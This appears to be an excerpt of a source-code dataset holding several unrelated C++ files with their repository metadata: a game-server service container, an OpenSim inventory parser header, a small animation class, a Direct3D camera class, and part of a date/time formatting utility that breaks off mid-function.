{ TCHAR szDescribe[256]=TEXT(""); _snprintf(szDescribe,sizeof(szDescribe),TEXT("【服务ID %ld】登录服务失败"),(LONG)m_InitParamter.m_wServerID); ShowErrorMessasge(szDescribe,Level_Normal); return false; } else return true; } BOOL CGameServiceHelperContainer::IsRunning() { if ((m_GameService.GetInterface()!=NULL)&&(m_GameService->IsService()==true)) return TRUE; else return FALSE; } void CGameServiceHelperContainer::Stop() { CWaitCursor wc; m_RequestSocket.CloseSocket(false); if ((m_GameService.GetInterface()!=NULL)&& (m_GameService->IsService()==true) && (m_GameService->StopService()==true)) { //NotifyServiceStatus(false); TCHAR szDescribe [256]=TEXT(""); _snprintf(szDescribe,sizeof(szDescribe),TEXT("停止【%s】【%s】"), GetGameTypeNameByModuleName(m_GameServiceParameter.szModuleName), m_GameServiceParameter.GameServiceOption.szGameRoomName); ShowDescribeMessage(szDescribe); _snprintf(szDescribe,sizeof(szDescribe),TEXT("【服务ID %ld】停止成功"),(LONG)m_InitParamter.m_wServerID); ShowErrorMessasge(szDescribe,Level_Normal); } } void CGameServiceHelperContainer::ShowErrorMessasge (LPCTSTR pszString, enTraceLevel TraceLevel) { if(m_pServiceLoaderDlg) m_pServiceLoaderDlg->ShowErrorMessasge(pszString,TraceLevel); } void CGameServiceHelperContainer::ShowDescribeMessage(LPCTSTR pszString) { if(m_pServiceLoaderDlg) m_pServiceLoaderDlg->ShowDescribeMessage(m_nGameServiceHelperIndex, pszString); } void CGameServiceHelperContainer::NotifyServiceStatus(bool bRunning) { if(m_pServiceLoaderDlg) m_pServiceLoaderDlg->NotifyServiceStatus(m_nGameServiceHelperIndex, bRunning); } int CGameServiceHelperContainer::OnRequestInfoOk(WPARAM w, LPARAM l) { m_RequestSocket.CloseSocket(false); GT_ASSERT(IsRunning() == FALSE); if(IsRunning()) return 1; //变量定义 tagGameServiceParameter GameServiceParameter; memcpy(&GameServiceParameter,&m_GameServiceParameter,sizeof(GameServiceParameter)); //构造参数 GameServiceParameter.dwCenterAddr=inet_addr(m_InitParamter.m_szCenterServerAddr); GameServiceParameter.GameServiceOption.wServerPort = m_InitParamter.m_wGameNetPort; GameServiceParameter.GameServiceOption.dwServerAddr = inet_addr(m_InitParamter.m_szGameNetAddr); //用户数据库 GameServiceParameter.GameUserDBInfo.wDataBasePort=m_InitParamter.m_wGameUserDBPort; GameServiceParameter.GameUserDBInfo.dwDataBaseAddr=inet_addr(m_InitParamter.m_szGameUserDBAddr); lstrcpyn(GameServiceParameter.GameUserDBInfo.szDataBaseUser,m_InitParamter.m_szGameUserDBUser,CountArray(GameServiceParameter.GameUserDBInfo.szDataBaseUser)); lstrcpyn(GameServiceParameter.GameUserDBInfo.szDataBasePass,m_InitParamter.m_szGameUserDBPass,CountArray(GameServiceParameter.GameUserDBInfo.szDataBasePass)); lstrcpyn(GameServiceParameter.GameUserDBInfo.szDataBaseName,m_InitParamter.m_szGameUserDBName,CountArray(GameServiceParameter.GameUserDBInfo.szDataBaseName)); lstrcpyn(GameServiceParameter.GameUserDBInfo.szDataBasePipeName,m_InitParamter.m_szGameUserDBPipeName,CountArray(GameServiceParameter.GameUserDBInfo.szDataBasePipeName)); //游戏数据库 GameServiceParameter.GameScoreDBInfo.wDataBasePort=m_InitParamter.m_wServerInfoDBPort; GameServiceParameter.GameScoreDBInfo.dwDataBaseAddr=inet_addr(m_InitParamter.m_szServerInfoDBAddr); lstrcpyn(GameServiceParameter.GameScoreDBInfo.szDataBaseUser,m_InitParamter.m_szServerInfoDBUser,CountArray(GameServiceParameter.GameScoreDBInfo.szDataBaseUser)); lstrcpyn(GameServiceParameter.GameScoreDBInfo.szDataBasePass,m_InitParamter.m_szServerInfoDBPass,CountArray(GameServiceParameter.GameScoreDBInfo.szDataBasePass)); lstrcpyn(GameServiceParameter.GameScoreDBInfo.szDataBaseName,m_InitParamter.m_szServerInfoDBName,CountArray(GameServiceParameter.GameScoreDBInfo.szDataBaseName)); lstrcpyn(GameServiceParameter.GameScoreDBInfo.szDataBasePipeName,m_InitParamter.m_szServerInfoDBPipeName,CountArray(GameServiceParameter.GameScoreDBInfo.szDataBasePipeName)); TCHAR szDescribe[256]=TEXT(""); //创建服务 if (m_GameService.GetInterface()==NULL) { if (m_GameService.CreateInstance()==true) { if (m_pIEventService!=NULL) m_GameService->SetEventService(m_pIEventService); } else { _snprintf(szDescribe,sizeof(szDescribe),TEXT("【服务ID %ld】GameService组件创建失败"),(LONG)m_InitParamter.m_wServerID); ShowErrorMessasge(szDescribe,Level_Exception); return 1; } } //启动服务 if (m_GameService->StartService(&GameServiceParameter)==true) { //NotifyServiceStatus(true); //提示信息 _snprintf(szDescribe,sizeof(szDescribe),TEXT("【服务ID %ld】站点 %s 启动成功"), (LONG)GameServiceParameter.GameServiceOption.wServerID, GameServiceParameter.GameServiceOption.szGameRoomName); ShowErrorMessasge(szDescribe,Level_Normal); _snprintf(szDescribe,sizeof(szDescribe),TEXT("运行【%s】【%s】"), GetGameTypeNameByModuleName(m_GameServiceParameter.szModuleName), m_GameServiceParameter.GameServiceOption.szGameRoomName); ShowDescribeMessage(szDescribe); } else { //NotifyServiceStatus(false); _snprintf(szDescribe,sizeof(szDescribe),TEXT("【服务ID %ld】站点 %s 启动失败"),(LONG)GameServiceParameter.GameServiceOption.wServerID,GameServiceParameter.GameServiceOption.szGameRoomName); ShowErrorMessasge(szDescribe,Level_Exception); } return 1; } void CGameServiceHelperContainer::RequstStart(BOOL b) { m_bRequstStart = b; if(b) NotifyServiceStatus(true); else NotifyServiceStatus(false); } BOOL CGameServiceHelperContainer::IsRequstStart() { return m_bRequstStart; }
[ [ [ 1, 197 ] ] ]
adf03d55d5e00f653e6c06190c09d5c3ceaea017
6c8c4728e608a4badd88de181910a294be56953a
/ProtocolUtilities/Inventory/InventoryParser.h
1ce7ebf281c8b20fc46dcb95fa273d199be61cf5
[ "Apache-2.0", "LicenseRef-scancode-unknown-license-reference" ]
permissive
caocao/naali
29c544e121703221fe9c90b5c20b3480442875ef
67c5aa85fa357f7aae9869215f840af4b0e58897
refs/heads/master
2021-01-21T00:25:27.447991
2010-03-22T15:04:19
2010-03-22T15:04:19
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,304
h
// For conditions of distribution and use, see copyright notice in license.txt /** * @file InventoryParser.h * @brief Helper utility which parses inventory structure from the login xmlrpc call. */ #ifndef incl_Protocol_InventoryParser_h #define incl_Protocol_InventoryParser_h namespace ProtocolUtilities { class InventoryFolderSkeleton; class InventoryParser { public: /// This function reads the inventory tree that was stored in the XMLRPC login_to_simulator reply. /// @param call Pass in the object to a XMLRPCEPI call that has already been performed. Only the reply part will be read by this function. /// @return The inventory object, or null pointer if an error occurred. static boost::shared_ptr<ProtocolUtilities::InventorySkeleton> ExtractInventoryFromXMLRPCReply(XmlRpcEpi &call); static void SetErrorFolder(ProtocolUtilities::InventoryFolderSkeleton *root); private: /// Checks if the name of the folder belongs to the harcoded OpenSim folders. /// @param name name of the folder. /// @return True if one of the harcoded folders, false if not. static bool IsHardcodedOpenSimFolder(const char *name); }; } #endif // incl_Protocol_InventoryParser_h
[ "jonnenau@5b2332b8-efa3-11de-8684-7d64432d61a3", "Stinkfist0@5b2332b8-efa3-11de-8684-7d64432d61a3", "jujjyl@5b2332b8-efa3-11de-8684-7d64432d61a3" ]
[ [ [ 1, 3 ], [ 6, 12 ], [ 15, 21 ], [ 23, 23 ], [ 25, 32 ] ], [ [ 4, 5 ], [ 22, 22 ], [ 24, 24 ], [ 33, 33 ] ], [ [ 13, 14 ] ] ]
cd30fd5618c6eb319366d35fa88ce9acd6db7fbf
4763f35af09e206c95301a455afddcf10ffbc1fe
/Game Developers Club Puzzle Fighter/Game Developers Club Puzzle Fighter/Animation.h
2ef82a888f91df2219adeb040de99b0f9413167a
[]
no_license
robertmcconnell2007/gdcpuzzlefighter
c7388634677875387ae165fc21f8ff977cea7cfb
63dd1daec36d85f6a36ddccffde9f15496a6a1c2
refs/heads/master
2021-01-20T23:26:48.386768
2010-08-25T02:48:00
2010-08-25T02:48:00
32,115,139
0
0
null
null
null
null
UTF-8
C++
false
false
332
h
#pragma once #include "..\include\SDL.h" class Animation { private: int currentKeyFrame; int maxKeyFrame; SDL_Surface * animationSheet; //TODO: check through vaganov's sprite maker for animation storage public: Animation(); //TODO: make a parameterized constructor that can pull a single animation from a file };
[ "IxAtreusAzai@7fdb7857-aad3-6fc1-1239-45cb07d991c5", "michael.vaganov@7fdb7857-aad3-6fc1-1239-45cb07d991c5" ]
[ [ [ 1, 1 ], [ 3, 14 ] ], [ [ 2, 2 ] ] ]
cb5b0c93c0f002436406f8ca1309096ff4b6573b
ade08cd4a76f2c4b9b5fdbb9b9edfbc7996b1bbc
/computer_graphics/lab4/Src/Application/camera.cpp
7060cdc898dee1504cb9d12bf4a39b4853f57f2e
[]
no_license
smi13/semester07
6789be72d74d8d502f0a0d919dca07ad5cbaed0d
4d1079a446269646e1a0e3fe12e8c5e74c9bb409
refs/heads/master
2021-01-25T09:53:45.424234
2011-01-07T16:08:11
2011-01-07T16:08:11
859,509
0
0
null
null
null
null
UTF-8
C++
false
false
452
cpp
#include "camera.h" using namespace cg_labs; D3DXMATRIXA16 *Camera::getMatrix() { return &_matrix; } D3DXVECTOR3 Camera::getEyePos() { return _eyePos; } D3DXVECTOR3 Camera::getLookAt() { return _lookAt; } D3DXVECTOR3 Camera::getUpVec() { return D3DXVECTOR3(0.0f, 1.0f, 0.0f); } void Camera::_buildMatrix() { D3DXVECTOR3 up(0.0f, 1.0f, 0.0f); D3DXMatrixLookAtLH(&_matrix, &_eyePos, &_lookAt, &up); }
[ [ [ 1, 30 ] ] ]
e3861c438c3d1e6437794fe28274488e51c538f3
36bf908bb8423598bda91bd63c4bcbc02db67a9d
/Library/CDateTime.cpp
60a7dc02559f81432904a2c0f524789ec94c4c0a
[]
no_license
code4bones/crawlpaper
edbae18a8b099814a1eed5453607a2d66142b496
f218be1947a9791b2438b438362bc66c0a505f99
refs/heads/master
2021-01-10T13:11:23.176481
2011-04-14T11:04:17
2011-04-14T11:04:17
44,686,513
0
1
null
null
null
null
UTF-8
C++
false
false
35,536
cpp
/* CDateTime.cpp Classe base per data/ora (CRT/SDK/MFC). Luca Piergentili, 24/11/99 [email protected] UTC(=GMT): Sun, 06 Nov 1994 08:49:37 GMT (0000) con timezone = +1 (ossia 'HST' = 'GMT' + '+0100'): Sun, 06 Nov 1994 08:49:37 GMT Sun, 06 Nov 1994 09:49:37 HST Sun, 06 Nov 1994 09:49:37 +0100 rfc822: ======= Time zone may be indicated in several ways. "UT" is Univer- sal Time (formerly called "Greenwich Mean Time"); "GMT" is per- mitted as a reference to Universal Time. The military standard uses a single character for each zone. "Z" is Universal Time. "A" indicates one hour earlier, and "M" indicates 12 hours ear- lier; "N" is one hour later, and "Y" is 12 hours later. The letter "J" is not used. The other remaining two forms are taken from ANSI standard X3.51-1975. One allows explicit indication of the amount of offset from UT; the other uses common 3-character strings for indicating time zones in North America. rfc1036: ======== The "Date" line (formerly "Posted") is the date that the message was originally posted to the network. Its format must be acceptable both in RFC-822 and to the getdate(3) routine that is provided with the Usenet software. This date remains unchanged as the message is propagated throughout the network. One format that is acceptable to both is: Wdy, DD Mon YY HH:MM:SS TIMEZONE rfc1945: ======== 3.3 Date/Time Formats HTTP/1.0 applications have historically allowed three different formats for the representation of date/time stamps: Sun, 06 Nov 1994 08:49:37 GMT ; RFC 822, updated by RFC 1123 Sunday, 06-Nov-94 08:49:37 GMT ; RFC 850, obsoleted by RFC 1036 Sun Nov 6 08:49:37 1994 ; ANSI C's asctime() format The first format is preferred as an Internet standard and represents a fixed-length subset of that defined by RFC 1123 [6] (an update to RFC 822 [7]). The second format is in common use, but is based on the obsolete RFC 850 [10] date format and lacks a four-digit year. HTTP/1.0 clients and servers that parse the date value should accept all three formats, though they must never generate the third (asctime) format. Note: Recipients of date values are encouraged to be robust in accepting date values that may have been generated by non-HTTP applications, as is sometimes the case when retrieving or posting messages via proxies/gateways to SMTP or NNTP. All HTTP/1.0 date/time stamps must be represented in Universal Time (UT), also known as Greenwich Mean Time (GMT), without exception. This is indicated in the first two formats by the inclusion of "GMT" as the three-letter abbreviation for time zone, and should be assumed when reading the asctime format. HTTP-date = rfc1123-date | rfc850-date | asctime-date rfc1123-date = wkday "," SP date1 SP time SP "GMT" rfc850-date = weekday "," SP date2 SP time SP "GMT" asctime-date = wkday SP date3 SP time SP 4DIGIT date1 = 2DIGIT SP month SP 4DIGIT ; day month year (e.g., 02 Jun 1982) date2 = 2DIGIT "-" month "-" 2DIGIT ; day-month-year (e.g., 02-Jun-82) date3 = month SP ( 2DIGIT | ( SP 1DIGIT )) ; month day (e.g., Jun 2) time = 2DIGIT ":" 2DIGIT ":" 2DIGIT ; 00:00:00 - 23:59:59 wkday = "Mon" | "Tue" | "Wed" | "Thu" | "Fri" | "Sat" | "Sun" weekday = "Monday" | "Tuesday" | "Wednesday" | "Thursday" | "Friday" | "Saturday" | "Sunday" month = "Jan" | "Feb" | "Mar" | "Apr" | "May" | "Jun" | "Jul" | "Aug" | "Sep" | "Oct" | "Nov" | "Dec" Note: HTTP requirements for the date/time stamp format apply only to their usage within the protocol stream. Clients and servers are not required to use these formats for user */ #include "env.h" #include "pragma.h" #include "macro.h" #include "typedef.h" #include <stdio.h> #include <stdlib.h> #include <math.h> #include <string.h> #include <ctype.h> #include <time.h> #include "Date.h" #include "CDateTime.h" #include "traceexpr.h" //#define _TRACE_FLAG _TRFLAG_TRACEOUTPUT //#define _TRACE_FLAG _TRFLAG_NOTRACE #define _TRACE_FLAG _TRFLAG_NOTRACE #define _TRACE_FLAG_INFO _TRFLAG_NOTRACE #define _TRACE_FLAG_WARN _TRFLAG_NOTRACE #define _TRACE_FLAG_ERR _TRFLAG_NOTRACE #if (defined(_DEBUG) && defined(_WINDOWS)) && (defined(_AFX) || defined(_AFXDLL)) #ifdef PRAGMA_MESSAGE_VERBOSE #pragma message("\t\t\t"__FILE__"("STR(__LINE__)"): using DEBUG_NEW macro") #endif #define new DEBUG_NEW #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif static char* day_array[8] = { "Sun", // 0 dom "Mon", // 1 lun "Tue", // 2 mar "Wed", // 3 mer "Thu", // 4 gio "Fri", // 5 ven "Sat", // 6 sab "???" }; static char* month_array[13] = { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec", "???" }; static int dayinmonth_array[13] = { 31, // Jan 28, // Feb 31, // Mar 30, // Apr 31, // May 30, // Jun 31, // Jul 31, // Aug 30, // Sep 31, // Oct 30, // Nov 31, // Dec 0 }; /* operator=(&) Copia dell'oggetto (per referenza) */ CDateTime& CDateTime::operator=(const CDateTime& d) { Copy(this,&d); return(*this); } /* operator=(*) Copia dell'oggetto (per puntatore) */ CDateTime& CDateTime::operator=(const CDateTime* d) { Copy(this,d); return(*this); } /* Copy() Copia un oggetto sull'altro. */ void CDateTime::Copy(CDateTime* d1,const CDateTime* d2) { if(d1!=d2) { d1->m_Date.format = d2->m_Date.format; strcpy(d1->m_Date.datestr,d2->m_Date.datestr); d1->m_Date.dayofweek = d2->m_Date.dayofweek; d1->m_Date.day = d2->m_Date.day; d1->m_Date.month = d2->m_Date.month; d1->m_Date.year = d2->m_Date.year; strcpy(d1->m_Date.daystr,d2->m_Date.daystr); strcpy(d1->m_Date.monthstr,d2->m_Date.monthstr); strcpy(d1->m_Date.yearstr,d2->m_Date.yearstr); d1->m_Time.format = d2->m_Time.format; strcpy(d1->m_Time.timestr,d2->m_Time.timestr); d1->m_Time.hour = d2->m_Time.hour; d1->m_Time.min = d2->m_Time.min; d1->m_Time.sec = d2->m_Time.sec; strcpy(d1->m_Time.hourstr,d2->m_Time.hourstr); strcpy(d1->m_Time.minstr,d2->m_Time.minstr); strcpy(d1->m_Time.secstr,d2->m_Time.secstr); } } /* CDateTime() Imposta le strutture interne con i parametri o ricavando data/ora di sistema. */ CDateTime::CDateTime(DATEFORMAT datefmt/*=UNKNOW_DATEFORMAT*/,TIMEFORMAT timefmt/*=UNKNOW_TIMEFORMAT*/,int dayofweek/*=-1*/,int day/*=-1*/,int month/*=-1*/,int year/*=-1*/,int hour/*=-1*/,int min/*=-1*/,int sec/*=-1*/) { // inizializzazione Reset(); // imposta data/ora (se chiamato senza parametri ricava data/ora di sistema) m_Date.format = (datefmt==UNKNOW_DATEFORMAT ? BRITISH : datefmt); SetDate(dayofweek,day,month,year); m_Time.format = (timefmt==UNKNOW_TIMEFORMAT ? HHMMSS : timefmt); SetTime(hour,min,sec); } CDateTime::CDateTime(const char* date,DATEFORMAT datefmt) { // inizializzazione Reset(); // imposta data/ora analizzando la stringa LoadFromString(date,datefmt); } /* Reset() Azzera l'oggetto. */ void CDateTime::Reset(void) { // azzera le strutture interne memset(&m_Date,'\0',sizeof(DATE)); m_Date.format = BRITISH; memset(&m_Time,'\0',sizeof(TIME)); m_Time.format = HHMMSS; m_bSetCentury = true; } /* SetDate() Imposta la struttura interna con i parametri o con la data di sistema. */ void CDateTime::SetDate(int dayofweek/*=-1*/,int day/*=-1*/,int month/*=-1*/,int year/*=-1*/) { // controlla i parametri if(dayofweek < 0 || dayofweek > 6) dayofweek = -1; if(day <= 0 || day > 31) day = -1; if(month <= 0 || month > 12) month = -1; if(year <= 1582) year = -1; // imposta i valori interni con i parametri o ricava la data di sistema if(dayofweek!=-1 && day!=-1 && month!=-1 && year!=-1) { m_Date.dayofweek = dayofweek; _snprintf(m_Date.dayofweekstr,sizeof(m_Date.dayofweekstr)-1,"%s",day_array[m_Date.dayofweek]); m_Date.day = day; _snprintf(m_Date.daystr,sizeof(m_Date.daystr)-1,"%.2d",m_Date.day); m_Date.month = month; _snprintf(m_Date.monthstr,sizeof(m_Date.monthstr)-1,"%.2d",m_Date.month); m_Date.year = year; _snprintf(m_Date.yearstr,sizeof(m_Date.yearstr)-1,"%.4d",m_Date.year); } else GetOsDate(); } /* GetDate() Imposta i parametri con i valori della struttura interna. */ void CDateTime::GetDate(int& dayofweek,int& day,int& month,int& year) { dayofweek = m_Date.dayofweek; day = m_Date.day; month = m_Date.month; year = m_Date.year; } /* SetTime() Imposta la struttura interna con i parametri o con l'ora di sistema. */ void CDateTime::SetTime(int hour/*=-1*/,int min/*=-1*/,int sec/*=-1*/) { // controlla i parametri if(sec < 0 || sec > 60) sec = -1; if(min < 0 || min > 60) min = -1; if(hour < 0 || hour > 24) hour = -1; // imposta i valori interni con i parametri o ricava l'ora di sistema if(sec!=-1 && min!=-1 && hour!=-1) { m_Time.sec = sec; _snprintf(m_Time.secstr,sizeof(m_Time.secstr)-1,"%.2d",m_Time.sec); m_Time.min = min; _snprintf(m_Time.minstr,sizeof(m_Time.minstr)-1,"%.2d",m_Time.min); m_Time.hour = hour; _snprintf(m_Time.hourstr,sizeof(m_Time.hourstr)-1,"%.2d",m_Time.hour); } else GetOsTime(); } /* GetTime() Imposta i parametri con i valori della struttura interna. */ void CDateTime::GetTime(int& hour,int& min,int& sec) { hour = m_Time.hour; min = m_Time.min; sec = m_Time.sec; } /* GetFormattedDate() Restituisce il puntatore alla data formattata secondo il formato corrente. Passando TRUE come parametro ricava la data di sistema (aggiornando la struttura interna), con FALSE si limita a riformattare la data presente nella struttura interna. */ const char* CDateTime::GetFormattedDate(BOOL getsysdate/*=TRUE*/) { // ricava la data di sistema if(getsysdate) GetOsDate(); memset(&(m_Date.datestr),'\0',sizeof(m_Date.datestr)); // imposta per l'anno a due o quattro cifre int century_on = m_Date.year; int century_off = atoi(m_Date.yearstr); int year = m_bSetCentury ? century_on : century_off; // imposta a seconda del formato corrente switch(m_Date.format) { // mm/dd/yyyy case AMERICAN: _snprintf(m_Date.datestr, sizeof(m_Date.datestr)-1, "%.2d/%.2d/%d", m_Date.month, m_Date.day, year); break; // ANSI yyyy.mm.dd, ANSI_SHORT yyyymmdd case ANSI: case ANSI_SHORT: _snprintf(m_Date.datestr, sizeof(m_Date.datestr)-1, "%d%s%.2d%s%.2d", year, m_Date.format==ANSI ? "." : (m_Date.format==ANSI_SHORT ? "" : "?"), m_Date.month, m_Date.format==ANSI ? "." : (m_Date.format==ANSI_SHORT ? "" : "?"), m_Date.day); break; // dd/mm/yyyy case BRITISH: case FRENCH: default: _snprintf(m_Date.datestr, sizeof(m_Date.datestr)-1, "%.2d/%.2d/%d", m_Date.day, m_Date.month, year); break; // dd.mm.yyyy case GERMAN: _snprintf(m_Date.datestr, sizeof(m_Date.datestr)-1, "%.2d.%.2d.%d", m_Date.day, m_Date.month, year); break; // dd-mm-yyyy case ITALIAN: _snprintf(m_Date.datestr, sizeof(m_Date.datestr)-1, "%.2d-%.2d-%d", m_Date.day, m_Date.month, year); break; // yyyy/mm/dd case JAPAN: case YMD: _snprintf(m_Date.datestr, sizeof(m_Date.datestr)-1, "%d/%.2d/%.2d", year, m_Date.month, m_Date.day); break; // mm-dd-yyyy case USA: _snprintf(m_Date.datestr, sizeof(m_Date.datestr)-1, "%.2d-%.2d-%d", m_Date.month, m_Date.day, year); break; // mm/dd/yyyy case MDY: _snprintf(m_Date.datestr, sizeof(m_Date.datestr)-1, "%.2d/%.2d/%d", m_Date.month, m_Date.day, year); break; // dd/mm/yyyy case DMY: _snprintf(m_Date.datestr, sizeof(m_Date.datestr)-1, "%.2d-%.2d-%d", m_Date.day, m_Date.month, year); break; // GMT_SHORT "Day, dd Mon yyyy hh:mm:ss GMT" (in formato UTC, ossia con data/ora secondo il meridiano GMT -> GMT + 0000) // GMT "Day, dd Mon yyyy hh:mm:ss <-|+>nnnn" (data/ora locale con la differenza tra l'UTC e l'ora locale) // GMT_TZ "Day, dd Mon yyyy hh:mm:ss <-|+>nnnn TZ" (data/ora locale con la differenza tra l'UTC e l'ora locale, dove TZ e' l'identificativo di tre caratteri per l'ora locale) case GMT_SHORT: case GMT: case GMT_TZ: { int i = 0; // ricava data e ora e le converte nel formato locale if(getsysdate) { GetOsTime(); // aggiunge/sottrae la differenza oraria per ottenere il valore assoluto (GMT) if(m_Date.format==GMT_SHORT) ModifyDateTime(HOUR,(int)((GetTimeZoneDiff()/60)/60)); } // formatta i valori di data e ora (Day, dd Mon yyyy hh:mm:ss) i = _snprintf(m_Date.datestr, sizeof(m_Date.datestr)-1, "%s, %.2d %s %.4d %.2d:%.2d:%.2d", day_array[((m_Date.dayofweek >= 0 && m_Date.dayofweek <= 6) ? m_Date.dayofweek : 7)], m_Date.day, month_array[((m_Date.month-1 >= 0 && m_Date.month-1 <= 11) ? m_Date.month-1 : 12)], m_Date.year, m_Time.hour, m_Time.min, m_Time.sec ); if(i > 0) { if(m_Date.format==GMT_SHORT) // aggiunge 'GMT' { _snprintf(m_Date.datestr+i, sizeof(m_Date.datestr)-(1+i), " %s", "GMT" ); } else if(m_Date.format==GMT || m_Date.format==GMT_TZ) // aggiunge <-|+>nnnn o <-|+>nnnn TZ { // ricava la differenza oraria rispetto al GMT (divide i secondi in minuti ed i minuti in ore) double Tzd = ((double)GetTimeZoneDiff() / (double)60.0); double Min = fmod(Tzd,(double)60.0); Tzd /= (double)60.0; int tzd = (int)Tzd; int min = (int)Min; _snprintf(m_Date.datestr+i, sizeof(m_Date.datestr)-(1+i), " %s0%d%02d%s%s", tzd==0 ? "" : (tzd > 0 ? "-" : "+"), tzd < 0 ? tzd * -1 : tzd, min < 0 ? min * -1 : min, m_Date.format==GMT_TZ ? " " : "", m_Date.format==GMT_TZ ? GetTimeZoneName() : "" ); } } } break; } return(m_Date.datestr); } /* GetFormattedTime() Restituisce il puntatore all'ora formattata secondo il formato hh:mm:ss. Passando TRUE come parametro ricava l'ora di sistema (aggiornando la struttura interna), con FALSE si limita a formattare l'ora presente nella struttura interna. */ const char* CDateTime::GetFormattedTime(BOOL getsystime/*=TRUE*/) { // ricava la data di sistema if(getsystime) { GetOsTime(); // aggiunge/sottrae la differenza oraria per ottenere il valore assoluto (GMT) if(m_Date.format==GMT_SHORT) ModifyDateTime(HOUR,(int)((GetTimeZoneDiff()/60)/60)); } memset(&(m_Time.timestr),'\0',sizeof(m_Time.timestr)); // imposta a seconda del formato corrente switch(m_Time.format) { // "hh:mm:ss", "hhmmss" case HHMMSS: case HHMMSS_SHORT: _snprintf(m_Time.timestr, sizeof(m_Time.timestr)-1, "%.2d%s%.2d%s%.2d", m_Time.hour, m_Time.format==HHMMSS ? ":" : (m_Time.format==HHMMSS_SHORT ? "" : "?"), m_Time.min, m_Time.format==HHMMSS ? ":" : (m_Time.format==HHMMSS_SHORT ? "" : "?"), m_Time.sec); break; // "hh:mm:ss <AM|PM>" case HHMMSS_AMPM: { char ampm[]="AM\0"; if(m_Time.hour > 12) { m_Time.hour -= 12; memcpy(ampm,"PM",2); } _snprintf(m_Time.timestr, sizeof(m_Time.timestr)-1, "%.2d:%.2d:%.2d %s", m_Time.hour, m_Time.min, m_Time.sec, ampm); break; } // "hh:mm:ss" (assumendo GMT, ossia convertendo l'UTC in GMT) case HHMMSS_GMT_SHORT: break; // "hh:mm:ss <-|+>nnnn" (con l'UTC, ossia il <-|+>nnnn, locale) case HHMMSS_GMT: break; // "hh:mm:ss <-|+>nnnn TZ" (con l'UTC, ossia il <-|+>nnnn, locale, dove TZ e' l'identificativo di tre caratteri per l'UTC) case HHMMSS_GMT_TZ: break; } return(m_Time.timestr); } /* Get12HourTime() Restituisce il puntatore all'ora nel formato hh:mm:ss <AM|PM>. Passando TRUE come parametro ricava l'ora di sistema (aggiornando la struttura interna), con FALSE si limita a riformattare l'ora presente nella struttura interna. */ const char* CDateTime::Get12HourTime(BOOL getsystime/*=TRUE*/) { char ampm[]="AM\0"; memset(&(m_Time.timestr),'\0',sizeof(m_Time.timestr)); // ricava l'ora di sistema e la converte nell'ora locale if(getsystime) { time_t time_value; struct tm* local_time; ::time(&time_value); local_time = localtime(&time_value); if(local_time->tm_hour > 12) { memcpy(ampm,"PM",2); local_time->tm_hour -= 12; } if(local_time->tm_hour==0) local_time->tm_hour = 12; _snprintf(m_Time.timestr,sizeof(m_Time.timestr)-1,"%.8s %s",asctime(local_time) + 11,ampm); } else { if(m_Time.hour > 12) { m_Time.hour -= 12; memcpy(ampm,"PM",2); } _snprintf(m_Time.timestr,sizeof(m_Time.timestr)-1,"%.2d:%.2d:%.2d %s",m_Time.hour,m_Time.min,m_Time.sec,ampm); } return(m_Time.timestr); } /* GetElapsedTime() Restituisce una stringa nel formato [[nn hours, ]nn min., ]nn.nn secs. relativa al tempo trascorso. Non considera ne modifica la struttura interna. */ const char* CDateTime::GetElapsedTime(double seconds) { static char szElapsedTime[MAX_DATE_STRING+1]; long lHour = 0L; long lMin = 0L; double fSecs = seconds; memset(szElapsedTime,'\0',sizeof(szElapsedTime)); if(fSecs > 60.0f) { lMin = (long)fSecs / 60L; fSecs = fmod((double)fSecs,(double)60.0f); if(lMin > 60L) { lHour = lMin / 60L; lMin = lMin % 60L; } } if(lHour > 0L) //_snprintf(szElapsedTime,sizeof(szElapsedTime)-1,"%ld hours, %ld min., %0.2f secs.",lHour,lMin,fSecs); _snprintf(szElapsedTime,sizeof(szElapsedTime)-1,"%ld hours, %ld min, %d secs",lHour,lMin,(int)fSecs); else if(lMin > 0L) //_snprintf(szElapsedTime,sizeof(szElapsedTime)-1,"%ld min., %0.2f secs.",lMin,fSecs); _snprintf(szElapsedTime,sizeof(szElapsedTime)-1,"%ld min, %d secs",lMin,(int)fSecs); else if(fSecs >= 0.0f) //_snprintf(szElapsedTime,sizeof(szElapsedTime)-1,"%0.2f secs.",fSecs); _snprintf(szElapsedTime,sizeof(szElapsedTime)-1,"%d secs",(int)fSecs); return(szElapsedTime); } /* GetJulianDateDiff() Calcola la differenza in giorni tra le due date, restituendo: > 0 se 1 > 2 0 se 1 == 2 < 0 se 1 < 2 */ int CDateTime::GetJulianDateDiff(CDateTime& firstDate,CDateTime& secondDate) { Date fDate(firstDate.GetDay(),firstDate.GetMonth(),firstDate.GetYear()); Date sDate(secondDate.GetDay(),secondDate.GetMonth(),secondDate.GetYear()); return((int)(fDate - sDate)); } /* GetJulianDateTimeDiff() Calcola la differenza in giorni/secondi (rispetto all'ora) tra le due date, restituendo: > 0 se 1 > 2 0 se 1 == 2 < 0 se 1 < 2 */ void CDateTime::GetJulianDateTimeDiff(CDateTime& firstDate,CDateTime& secondDate,int& nDays,long& nSeconds) { Date fDate(firstDate.GetDay(),firstDate.GetMonth(),firstDate.GetYear()); Date sDate(secondDate.GetDay(),secondDate.GetMonth(),secondDate.GetYear()); nDays = (int)(fDate - sDate); long nFirstDateSecs = ((firstDate.GetHour() * 60) * 60) + firstDate.GetSec(); long nSecondDateSecs = ((secondDate.GetHour() * 60) * 60) + secondDate.GetSec(); nSeconds = nFirstDateSecs - nSecondDateSecs; } /* ConvertDate() Converte la data/ora specificate dal formato nel formato. Incompleta. */ const char* CDateTime::ConvertDate(DATEFORMAT fmtsrc,DATEFORMAT fmtdst,const char* pdate,const char* ptime) { char buf[MAX_DATE_STRING+1] = {0}; memset(&(m_Date.datestr),'\0',sizeof(m_Date.datestr)); switch(fmtsrc) { case AMERICAN: break; case ANSI: break; case ANSI_SHORT: { memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate,4); m_Date.year = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate+4,2); m_Date.month = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,pdate+6,2); m_Date.day = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,ptime,2); m_Time.hour = atoi(buf); memset(buf,'\0',sizeof(buf)); memcpy(buf,ptime+2,2); m_Time.min = atoi(buf); 